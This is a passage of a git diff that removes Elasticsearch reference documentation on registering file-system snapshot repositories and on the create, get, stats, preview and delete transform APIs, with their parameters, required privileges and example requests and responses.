-            aria-selected="true"
-            aria-controls="unix-tab-fs-repo"
-            id="unix-fs-repo">
-      Unix-like systems
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="win-tab-fs-repo"
-            id="win-fs-repo">
-      Windows
-    </button>
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="unix-tab-fs-repo"
-       aria-labelledby="unix-fs-repo">
-++++
-
-include::register-fs-repo.asciidoc[tag=unix]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="win-tab-fs-repo"
-       aria-labelledby="win-fs-repo"
-       hidden="">
-++++
-
-include::register-fs-repo.asciidoc[tag=win]
-
-++++
-  </div>
-</div>
-++++
\ No newline at end of file
diff --git a/docs/reference/tab-widgets/register-fs-repo.asciidoc b/docs/reference/tab-widgets/register-fs-repo.asciidoc
deleted file mode 100644
index bbfeabcbf57..00000000000
--- a/docs/reference/tab-widgets/register-fs-repo.asciidoc
+++ /dev/null
@@ -1,103 +0,0 @@
-// tag::unix[]
-Linux and macOS installations support Unix-style paths:
-
-[source,yaml]
-----
-path:
-  repo:
-    - /mount/backups
-    - /mount/long_term_backups
-----
-
-After restarting each node, use the <<put-snapshot-repo-api,put snapshot
-repository>> API to register the file system repository. Specify the file
-system's path in `settings.location`:
-
-[source,console]
-----
-PUT /_snapshot/my_fs_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "/mount/backups/my_fs_backup_location",
-    "compress": true
-  }
-}
-----
-// TEST[skip:no access to path]
-
-If you specify a relative path in `settings.location`, {es} resolves the path
-using the first value in the `path.repo` setting.
-
-[source,console]
-----
-PUT /_snapshot/my_fs_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_fs_backup_location",       <1>
-    "compress": true
-  }
-}
-----
-// TEST[skip:no access to path]
-
-<1> The first value in the `path.repo` setting is `/mount/backups`. This
-relative path, `my_fs_backup_location`, resolves to
-`/mount/backups/my_fs_backup_location`.
-// end::unix[]
-
-
-// tag::win[]
-Windows installations support both DOS and Microsoft UNC paths. Escaped any
-backslashes in the paths. For UNC paths, provide the server and share name as a
-prefix.
-
-[source,yaml]
-----
-path:
-  repo:
-    - "E:\\Mount\\Backups"                      <1>
-    - "\\\\MY_SERVER\\Mount\\Long_term_backups" <2>
-----
-
-<1> DOS path
-<2> UNC path
-
-After restarting each node, use the <<put-snapshot-repo-api,put snapshot
-repository>> API to register the file system repository. Specify the file
-system's path in `settings.location`:
-
-[source,console]
-----
-PUT /_snapshot/my_fs_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "E:\\Mount\\Backups\\My_fs_backup_location",
-    "compress": true
-  }
-}
-----
-// TEST[skip:no access to path]
-
-If you specify a relative path in `settings.location`, {es} resolves the path
-using the first value in the `path.repo` setting.
-
-[source,console]
-----
-PUT /_snapshot/my_fs_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "My_fs_backup_location",       <1>
-    "compress": true
-  }
-}
-----
-// TEST[skip:no access to path]
-
-<1> The first value in the `path.repo` setting is `E:\Mount\Backups`. This
-relative path, `My_fs_backup_location`, resolves to
-`E:\Mount\Backups\My_fs_backup_location`.
-// end::win[]
\ No newline at end of file
diff --git a/docs/reference/transform/api-quickref.asciidoc b/docs/reference/transform/api-quickref.asciidoc
deleted file mode 100644
index 1db336b5beb..00000000000
--- a/docs/reference/transform/api-quickref.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-[role="xpack"]
-[[transform-api-quickref]]
-= API quick reference
-
-All {transform} endpoints have the following base:
-
-[source,js]
-----
-_transform/
-----
-// NOTCONSOLE
-
-* <<put-transform,Create {transforms}>>
-* <<delete-transform,Delete {transforms}>>
-* <<get-transform,Get {transforms}>>
-* <<get-transform-stats,Get {transforms} statistics>>
-* <<preview-transform,Preview {transforms}>>
-* <<start-transform,Start {transforms}>>
-* <<stop-transform,Stop {transforms}>>
-* <<update-transform,Update {transforms}>>
-
-For the full list, see <<transform-apis>>.
diff --git a/docs/reference/transform/apis/delete-transform.asciidoc b/docs/reference/transform/apis/delete-transform.asciidoc
deleted file mode 100644
index d15be858846..00000000000
--- a/docs/reference/transform/apis/delete-transform.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[delete-transform]]
-= Delete {transform} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Delete {transform}</titleabbrev>
-++++
-
-Deletes an existing {transform}.
-
-[[delete-transform-request]]
-== {api-request-title}
-
-`DELETE _transform/<transform_id>`
-
-[[delete-transform-prereqs]]
-== {api-prereq-title}
-
-* Before you can delete the {transform}, you must stop it.
-
-If the {es} {security-features} are enabled, you must have the following 
-privileges:
-
-* `manage_transform` 
-
-The built-in `transform_admin` role has this privilege. 
-
-For more information, see <<security-privileges>> and <<built-in-roles>>.
-
-
-[[delete-transform-path-parms]]
-== {api-path-parms-title}
-
-`<transform_id>`::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id]
-
-[[delete-transform-query-parms]]
-== {api-query-parms-title}
-
-`force`::
-(Optional, Boolean) When `true`, the {transform} is deleted regardless of its
-current state. The default value is `false`, meaning that the {transform} must be
-`stopped` before it can be deleted.
-
-[[delete-transform-examples]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-DELETE _transform/ecommerce_transform
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
-
-When the {transform} is deleted, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged" : true
-}
-----
diff --git a/docs/reference/transform/apis/get-transform-stats.asciidoc b/docs/reference/transform/apis/get-transform-stats.asciidoc
deleted file mode 100644
index 75135801d89..00000000000
--- a/docs/reference/transform/apis/get-transform-stats.asciidoc
+++ /dev/null
@@ -1,325 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[get-transform-stats]]
-= Get {transform} statistics API
-
-[subs="attributes"]
-++++
-<titleabbrev>Get {transform} statistics</titleabbrev>
-++++
-
-Retrieves usage information for {transforms}.
-
-
-[[get-transform-stats-request]]
-== {api-request-title}
-
-`GET _transform/<transform_id>/_stats`
-
-`GET _transform/<transform_id>,<transform_id>/_stats` +
-
-`GET _transform/_stats` +
-
-`GET _transform/_all/_stats` +
-
-`GET _transform/*/_stats` +
-
-
-[[get-transform-stats-prereqs]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-privileges:
-
-* `monitor_transform` 
-
-The built-in `transform_user` role has this privilege. 
-
-For more information, see <<security-privileges>> and <<built-in-roles>>.
-
-
-[[get-transform-stats-desc]]
-== {api-description-title}
-
-You can get statistics for multiple {transforms} in a single API
-request by using a comma-separated list of identifiers or a wildcard expression.
-You can get statistics for all {transforms} by using `_all`, by
-specifying `*` as the `<transform_id>`, or by omitting the
-`<transform_id>`.
-
-
-[[get-transform-stats-path-parms]]
-== {api-path-parms-title}
-
-`<transform_id>`::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id-wildcard]
-  
-
-[[get-transform-stats-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-match-transforms1]
-
-`from`::
-(Optional, integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=from-transforms]
-
-`size`::
-(Optional, integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=size-transforms]
-
-[role="child_attributes"]
-[[get-transform-stats-response]]
-== {api-response-body-title}
-
-The API returns an array of statistics objects for {transforms}, which are
-sorted by the `id` value in ascending order. All of these properties are
-informational; you cannot update their values.
-
-//Begin checkpointing
-`checkpointing`::
-(object) Contains statistics about <<transform-checkpoints,checkpoints>>.
-+
-.Properties of `checkpointing`
-[%collapsible%open]
-====
-`changes_last_detected_at`:::
-(date)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=checkpointing-changes-last-detected-at]
-
-//Begin checkpointing.last
-`last`:::
-(object) Contains statistics about the last completed checkpoint. 
-+
-.Properties of `last`
-[%collapsible%open]
-=====
-`checkpoint`::::
-(integer) The sequence number for the checkpoint.
-`time_upper_bound_millis`::::
-(date) When using time-based synchronization, this timestamp indicates the
-upper bound of data that is included in the checkpoint.
-`timestamp_millis`::::
-(date) The timestamp of the checkpoint, which indicates when the checkpoint
-was created.
-=====
-//End checkpointing.last
-
-//Begin checkpointing.next
-`next`:::
-(object) Contains statistics about the next checkpoint that is currently in
-progress. This object appears only when the {transform} `state` is `indexing`.
-+
-.Properties of `next`
-[%collapsible%open]
-=====
-`checkpoint`::::
-(integer) The sequence number for the checkpoint.
-
-`checkpoint_progress`::::
-(object) Contains statistics about the progress of the checkpoint. For example,
-it lists the `total_docs`, `docs_remaining`, `percent_complete`,
-`docs_processed`, and `docs_indexed`. This information is available only for
-batch {transforms} and the first checkpoint of {ctransforms}.
-
-`time_upper_bound_millis`::::
-(date) When using time-based synchronization, this timestamp indicates the
-upper bound of data that is included in the checkpoint.
-
-`timestamp_millis`::::
-(date) The timestamp of the checkpoint, which indicates when the checkpoint was
-created.
-=====
-//End checkpointing.next
-
-`operations_behind`:::
-(integer) The number of operations that have occurred on the source index but
-have not been applied to the destination index yet. A high number can indicate
-that the {transform} is failing to keep up. 
-====
-//End checkpointing
-
-`id`::
-(string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id]
-
-//Begin node
-`node`::
-(object) For started {transforms} only, the node upon which the {transform} is
-started.
-+
-.Properties of `node`
-[%collapsible%open]
-====
-`attributes`:::
-(object) A list of attributes for the node.
-
-`ephemeral_id`:::
-(string) The node ephemeral ID.
-
-`id`:::
-(string) The unique identifier of the node. For example, "0-o0tOoRTwKFZifatTWKNw".
-
-`name`:::
-(string) The node name. For example, `0-o0tOo`.
-
-`transport_address`:::
-(string) The host and port where transport HTTP connections are accepted. For
-example, `127.0.0.1:9300`.
-====
-//End node
-
-`reason`::
-(string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=state-transform-reason]
-
-`state`::
-(string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=state-transform]
-
-//Begin stats
-`stats`::
-(object) An object that provides statistical information about the {transform}.
-+
-.Properties of `stats`
-[%collapsible%open]
-====
-
-`documents_indexed`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-indexed]
-
-`documents_processed`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-processed]
-
-`exponential_avg_checkpoint_duration_ms`:::
-(double)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=exponential-avg-checkpoint-duration-ms]
-
-`exponential_avg_documents_indexed`:::
-(double)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=exponential-avg-documents-indexed]
-
-`exponential_avg_documents_processed`:::
-(double)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=exponential-avg-documents-processed]
-
-`index_failures`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-failures]
-
-`index_time_in_ms`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-time-ms]
-
-`index_total`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-total]
-
-`pages_processed`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pages-processed]
-
-`processing_time_in_ms`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=processing-time-ms]
-
-`processing_total`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=processing-total]
-
-`search_failures`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-failures]
-
-`search_time_in_ms`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-time-ms]
-
-`search_total`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-total]
-
-`trigger_count`:::
-(long)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=trigger-count]
-====
-//End stats
-  
-[[get-transform-stats-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request. 
-
-[[get-transform-stats-example]]
-== Examples
-
-The following example skips for the first five {transforms} and
-gets usage information for a maximum of ten results: 
-
-[source,console]
---------------------------------------------------
-GET _transform/_stats?from=5&size=10
---------------------------------------------------
-// TEST[skip:todo]
-
-The following example gets usage information for the {transform}:
-
-[source,console]
---------------------------------------------------
-GET _transform/ecommerce-customer-transform/_stats
---------------------------------------------------
-// TEST[skip:todo]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count" : 1,
-  "transforms" : [
-    {
-      "id" : "ecommerce-customer-transform",
-      "state" : "started",
-      "node" : {
-        "id" : "cpTIGMsVQ8Gqwqlxxxxxxx",
-        "name" : "my.home",
-        "ephemeral_id" : "5-L21nFsQxxxxxxxxxx-xx",
-        "transport_address" : "127.0.0.1:9300",
-        "attributes" : { }
-      },
-      "stats" : {
-        "pages_processed" : 78,
-        "documents_processed" : 6027,
-        "documents_indexed" : 68,
-        "trigger_count" : 168,
-        "index_time_in_ms" : 412,
-        "index_total" : 20,
-        "index_failures" : 0,
-        "search_time_in_ms" : 353,
-        "search_total" : 78,
-        "search_failures" : 0,
-        "processing_time_in_ms" : 8,
-        "processing_total" : 78,
-        "exponential_avg_checkpoint_duration_ms" : 97.30637923893185,
-        "exponential_avg_documents_indexed" : 2.2064915040974062,
-        "exponential_avg_documents_processed" : 179.89419945785045
-      },
-      "checkpointing" : {
-        "last" : {
-          "checkpoint" : 20,
-          "timestamp_millis" : 1585344558220,
-          "time_upper_bound_millis" : 1585344498220
-        },
-        "changes_last_detected_at" : 1585344558219
-      }
-    }
-  ]
-}
-----
diff --git a/docs/reference/transform/apis/get-transform.asciidoc b/docs/reference/transform/apis/get-transform.asciidoc
deleted file mode 100644
index 8f9e63a0722..00000000000
--- a/docs/reference/transform/apis/get-transform.asciidoc
+++ /dev/null
@@ -1,159 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[get-transform]]
-= Get {transforms} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Get {transforms}</titleabbrev>
-++++
-
-Retrieves configuration information for {transforms}.
-
-[[get-transform-request]]
-== {api-request-title}
-
-`GET _transform/<transform_id>` +
-
-`GET _transform/<transform_id>,<transform_id>` +
-
-`GET _transform/` +
-
-`GET _transform/_all` +
-
-`GET _transform/*`
-
-[[get-transform-prereqs]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-privileges:
-
-* `monitor_transform` 
-
-The built-in `transform_user` role has this privilege. 
-
-For more information, see <<security-privileges>> and <<built-in-roles>>.
-
-[[get-transform-desc]]
-== {api-description-title}
-
-You can get information for multiple {transforms} in a single API
-request by using a comma-separated list of identifiers or a wildcard expression.
-You can get information for all {transforms} by using `_all`, by
-specifying `*` as the `<transform_id>`, or by omitting the `<transform_id>`.
-
-[[get-transform-path-parms]]
-== {api-path-parms-title}
-
-`<transform_id>`::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id-wildcard]
-  
-[[get-transform-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-match-transforms1]
-
-`from`::
-(Optional, integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=from-transforms]
-
-`size`::
-(Optional, integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=size-transforms]
-
-[[get-transform-response]]
-== {api-response-body-title}
-
-The API returns an array of {transform} resources, which are sorted by the `id`
-value in ascending order. For the full list of properties, see
-<<put-transform-request-body,Create {transform} API>>.
-
-`create_time`::
-(string) The time the {transform} was created. For example, `1576094542936`.
-This property is informational; you cannot change its value.
-
-`version`::
-(string) The version of {es} that existed on the node when the {transform} was
-created.
-  
-[[get-transform-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request.  
-
-[[get-transform-example]]
-== {api-examples-title}
-
-The following example retrieves information about a maximum of ten {transforms}:
-
-[source,console]
---------------------------------------------------
-GET _transform?size=10
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
-
-The following example gets configuration information for the
-`ecommerce_transform` {transform}:
-
-[source,console]
---------------------------------------------------
-GET _transform/ecommerce_transform
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count" : 1,
-  "transforms" : [
-    {
-      "id" : "ecommerce_transform",
-      "source" : {
-        "index" : [
-          "kibana_sample_data_ecommerce"
-        ],
-        "query" : {
-          "term" : {
-            "geoip.continent_name" : {
-              "value" : "Asia"
-            }
-          }
-        }
-      },
-      "dest" : {
-        "index" : "kibana_sample_data_ecommerce_transform"
-      },
-      "frequency": "1m",
-      "pivot" : {
-        "group_by" : {
-          "customer_id" : {
-            "terms" : {
-              "field" : "customer_id"
-            }
-          }
-        },
-        "aggregations" : {
-          "max_price" : {
-            "max" : {
-              "field" : "taxful_total_price"
-            }
-          }
-        }
-      },
-      "description" : "Maximum priced ecommerce data by customer_id in Asia",
-      "settings" : { },
-      "version" : "7.5.0",
-      "create_time" : 1576094542936
-    }
-  ]
-}
-
-----
diff --git a/docs/reference/transform/apis/index.asciidoc b/docs/reference/transform/apis/index.asciidoc
deleted file mode 100644
index b0948a7adb3..00000000000
--- a/docs/reference/transform/apis/index.asciidoc
+++ /dev/null
@@ -1,17 +0,0 @@
-include::transform-apis.asciidoc[leveloffset=+1]
-
-//CREATE
-include::put-transform.asciidoc[leveloffset=+2]
-//DELETE
-include::delete-transform.asciidoc[leveloffset=+2]
-//GET
-include::get-transform.asciidoc[leveloffset=+2]
-include::get-transform-stats.asciidoc[leveloffset=+2]
-//PREVIEW
-include::preview-transform.asciidoc[leveloffset=+2]
-//START
-include::start-transform.asciidoc[leveloffset=+2]
-//STOP
-include::stop-transform.asciidoc[leveloffset=+2]
-//UPDATE
-include::update-transform.asciidoc[leveloffset=+2]
\ No newline at end of file
diff --git a/docs/reference/transform/apis/preview-transform.asciidoc b/docs/reference/transform/apis/preview-transform.asciidoc
deleted file mode 100644
index 8c9b2407f19..00000000000
--- a/docs/reference/transform/apis/preview-transform.asciidoc
+++ /dev/null
@@ -1,272 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[preview-transform]]
-= Preview {transform} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Preview {transform}</titleabbrev>
-++++
-
-Previews a {transform}.
-
-[[preview-transform-request]]
-== {api-request-title}
-
-`POST _transform/_preview`
-
-[[preview-transform-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-privileges:
-
-* `manage_transform` 
-* source index: `read`, `view_index_metadata`
-
-The built-in `transform_admin` role has the `manage_transform` privilege.
-
-For more information, see <<security-privileges>> and <<built-in-roles>>.
-
-
-[[preview-transform-desc]]
-== {api-description-title}
-
-This API generates a preview of the results that you will get when you run the
-<<put-transform,create {transforms} API>> with the same
-configuration. It returns a maximum of 100 results. The calculations are based
-on all the current data in the source index.
-
-It also generates a list of mappings and settings for the destination index.
-If the destination index does not exist when you start a {transform}, these are
-the mappings and settings that are used. These values are determined based on
-the field types of the source index and the {transform} aggregations.
-
-TIP: There are some <<transform-aggresponse-limitations,limitations>> that
-might result in poor mappings. As a work-around, create the destination index
-or an index template with your preferred mappings before you start the
-{transform}.
-
-[role="child_attributes"]
-[[preview-transform-request-body]]
-== {api-request-body-title}
-
-
-`description`::
-(Optional, string) Free text description of the {transform}.
-
-//Begin dest
-`dest`::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest]
-+
-.Properties of `dest`
-[%collapsible%open]
-====
-`index`:::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest-index]
-
-`pipeline`:::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest-pipeline]
-====
-//End dest
-
-`frequency`::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=frequency]
-
-//Begin pivot
-`pivot`::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pivot]
-+
-.Properties of `pivot`
-[%collapsible%open]
-====
-
-`aggregations` or `aggs`:::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pivot-aggs]
-
-`group_by`:::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pivot-group-by]
-====
-//End pivot
-
-//Begin source
-`source`::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-transforms]
-+
-.Properties of `source`
-[%collapsible%open]
-====
-
-`index`:::
-(Required, string or array)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-index-transforms]
-
-`query`:::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-query-transforms]
-====
-//End source
-
-//Begin sync
-`sync`::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync]
-+
-.Properties of `sync`
-[%collapsible%open]
-====
-//Begin sync.time
-
-`time`:::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time]
-+
-.Properties of `analysis_config`
-[%collapsible%open]
-=====
-
-`delay`::::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time-delay]
-    
-`field`::::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time-field]
-=====
-//End sync.time
-====
-//End sync
-
-//Begin settings
-`settings`::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings]
-+
-.Properties of `settings`
-[%collapsible%open]
-====
-`docs_per_second`:::
-(Optional, float)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings-docs-per-second]
-`max_page_search_size`:::
-(Optional, integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings-max-page-search-size]
-====
-//End settings
-
-[role="child_attributes"]
-[[preview-transform-response]]
-== {api-response-body-title}
-
-`preview`::
-(array) An array of documents. In particular, they are the JSON representation 
-of the documents that would be created in the destination index by the 
-{transform}.
-
-//Begin generated_dest_index  
-`generated_dest_index`::
-(object) Contains details about the destination index.
-+
-.Properties of `generated_dest_index`
-[%collapsible%open]
-====
-
-`aliases`:::
-(object) The aliases for the destination index.
-
-`mappings`:::
-(object) The <<mapping,mappings>> for each document in the destination index. 
-
-`settings`:::
-(object) The <<index-modules-settings,index settings>> for the destination index.
-====
-//End generated_dest_index
-
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _transform/_preview
-{
-  "source": {
-    "index": "kibana_sample_data_ecommerce"
-  },
-  "pivot": {
-    "group_by": {
-      "customer_id": {
-        "terms": {
-          "field": "customer_id"
-        }
-      }
-    },
-    "aggregations": {
-      "max_price": {
-        "max": {
-          "field": "taxful_total_price"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:set up sample data]
-
-The data that is returned for this example is as follows:
-[source,js]
-----
-{
-  "preview" : [
-    {
-      "max_price" : 171.0,
-      "customer_id" : "10"
-    },
-    {
-      "max_price" : 233.0,
-      "customer_id" : "11"
-    },
-    {
-      "max_price" : 200.0,
-      "customer_id" : "12"
-    }
-    ...
-  ],
-  "generated_dest_index" : {
-    "mappings" : {
-      "_meta" : {
-        "_transform" : {
-          "transform" : "transform-preview",
-          "version" : {
-            "created" : "7.7.0"
-          },
-          "creation_date_in_millis" : 1584738236757
-        },
-        "created_by" : "transform"
-      },
-      "properties" : {
-        "max_price" : {
-          "type" : "half_float"
-        },
-        "customer_id" : {
-          "type" : "keyword"
-        }
-      }
-    },
-    "settings" : {
-      "index" : {
-        "number_of_shards" : "1",
-        "auto_expand_replicas" : "0-1"
-      }
-    },
-    "aliases" : { }
-  }
-}
-----
-// NOTCONSOLE
diff --git a/docs/reference/transform/apis/put-transform.asciidoc b/docs/reference/transform/apis/put-transform.asciidoc
deleted file mode 100644
index 54a7c4d635a..00000000000
--- a/docs/reference/transform/apis/put-transform.asciidoc
+++ /dev/null
@@ -1,260 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[put-transform]]
-= Create {transform} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Create {transform}</titleabbrev>
-++++
-
-Instantiates a {transform}.
-
-[[put-transform-request]]
-== {api-request-title}
-
-`PUT _transform/<transform_id>`
-
-[[put-transform-prereqs]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-built-in roles and privileges:
-
-* `transform_admin`
-* source index: `read`, `view_index_metadata`
-* destination index: `read`, `create_index`, `manage` and `index`
-
-For more information, see <<built-in-roles>>, <<security-privileges>>, and
-{ml-docs-setup-privileges}.
-
-
-[[put-transform-desc]]
-== {api-description-title}
-
-This API defines a {transform}, which copies data from source indices,
-transforms it, and persists it into an entity-centric destination index. The
-entities are defined by the set of `group_by` fields in the `pivot` object. You
-can also think of the destination index as a two-dimensional tabular data
-structure (known as a {dataframe}). The ID for each document in the
-{dataframe} is generated from a hash of the entity, so there is a unique row
-per entity. For more information, see <<transforms>>.
-
-When the {transform} is created, a series of validations occur to
-ensure its success. For example, there is a check for the existence of the
-source indices and a check that the destination index is not part of the source
-index pattern. You can use the `defer_validation` parameter to skip these
-checks.
-
-Deferred validations are always run when the {transform} is started,
-with the exception of privilege checks. When {es} {security-features} are
-enabled, the {transform} remembers which roles the user that created
-it had at the time of creation and uses those same roles. If those roles do not
-have the required privileges on the source and destination indices, the
-{transform} fails when it attempts unauthorized operations.
-
-IMPORTANT:  You must use {kib} or this API to create a {transform}.
-            Do not put a {transform} directly into any
-            `.transform-internal*` indices using the Elasticsearch index API.
-            If {es} {security-features} are enabled, do not give users any
-            privileges on `.transform-internal*` indices. If you used transforms
-            prior 7.5, also do not give users any privileges on
-            `.data-frame-internal*` indices.
-
-[[put-transform-path-parms]]
-== {api-path-parms-title}
-
-`<transform_id>`::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id]
-
-[[put-transform-query-parms]]
-== {api-query-parms-title}
-
-`defer_validation`::
-  (Optional, Boolean) When `true`, deferrable validations are not run. This
-  behavior may be desired if the source index does not exist until after the
-  {transform} is created.
-
-[role="child_attributes"]
-[[put-transform-request-body]]
-== {api-request-body-title}
-
-`description`::
-  (Optional, string) Free text description of the {transform}.
-
-//Begin dest
-`dest`::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest]
-+
-.Properties of `dest`
-[%collapsible%open]
-====
-
-`index`:::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest-index]
-
-`pipeline`:::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest-pipeline]
-====
-//End dest
-
-`frequency`::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=frequency]
-
-//Begin pivot
-`pivot`::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pivot]
-+
-.Properties of `pivot`
-[%collapsible%open]
-====
-
-`aggregations` or `aggs`:::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pivot-aggs]
-
-`group_by`:::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pivot-group-by]
-
-====
-//End pivot
-
-//Begin settings
-`settings`::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings]
-+
-.Properties of `settings`
-[%collapsible%open]
-====
-`docs_per_second`:::
-(Optional, float)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings-docs-per-second]
-`max_page_search_size`:::
-(Optional, integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings-max-page-search-size]
-====
-//End settings
-
-//Begin source
-`source`::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-transforms]
-+
-.Properties of `source`
-[%collapsible%open]
-====
-
-`index`:::
-(Required, string or array)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-index-transforms]
-
-`query`:::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-query-transforms]
-====
-//End source
-
-//Begin sync
-`sync`::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync]
-+
-.Properties of `sync`
-[%collapsible%open]
-====
-
-//Begin time
-`time`:::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time]
-+
-.Properties of `time`
-[%collapsible%open]
-=====
-
-`delay`::::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time-delay]
-    
-`field`::::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time-field]
-+
---
-TIP: In general, it’s a good idea to use a field that contains the
-<<accessing-ingest-metadata,ingest timestamp>>. If you use a different field,
-you might need to set the `delay` such that it accounts for data transmission
-delays.
-
---
-=====
-//End time
-====
-//End sync
-
-
-[[put-transform-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-PUT _transform/ecommerce_transform
-{
